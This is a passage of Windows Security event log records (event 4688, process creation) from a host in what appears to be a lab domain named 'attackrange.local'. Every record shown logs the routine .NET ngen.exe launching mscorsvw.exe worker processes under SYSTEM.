	Logon ID:		0x0

Process Information:
	New Process ID:		0xb28
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 81c -InterruptEvent 0 -NGENProcess 9c0 -Pipe a40 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255328
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess a28 -Pipe a24 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255355
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x674
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent acc -InterruptEvent 0 -NGENProcess a44 -Pipe ac8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255354
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ab8 -InterruptEvent 0 -NGENProcess a84 -Pipe aac -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255353
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1124
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a84 -InterruptEvent 0 -NGENProcess ab8 -Pipe a68 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255352
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1070
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ab8 -InterruptEvent 0 -NGENProcess a94 -Pipe abc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255351
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a84 -InterruptEvent 0 -NGENProcess a94 -Pipe a64 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255350
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a94 -InterruptEvent 0 -NGENProcess a48 -Pipe aa8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255349
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x138c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a84 -InterruptEvent 0 -NGENProcess a48 -Pipe aa0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255348
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1168
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a48 -InterruptEvent 0 -NGENProcess a54 -Pipe a8c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255347
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x116c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a54 -InterruptEvent 0 -NGENProcess a5c -Pipe a4c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255346
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x924
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent aa0 -InterruptEvent 0 -NGENProcess a80 -Pipe a98 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255345
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9ec
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a94 -InterruptEvent 0 -NGENProcess a68 -Pipe 9fc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255344
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa24
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a68 -InterruptEvent 0 -NGENProcess a44 -Pipe a7c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255361
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1020
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ab0 -InterruptEvent 0 -NGENProcess aec -Pipe ad4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255360
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ae4 -InterruptEvent 0 -NGENProcess aec -Pipe a94 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255359
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbcc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent aec -InterruptEvent 0 -NGENProcess adc -Pipe ae8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255358
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1038
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a48 -InterruptEvent 0 -NGENProcess a44 -Pipe a84 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255357
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1310
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
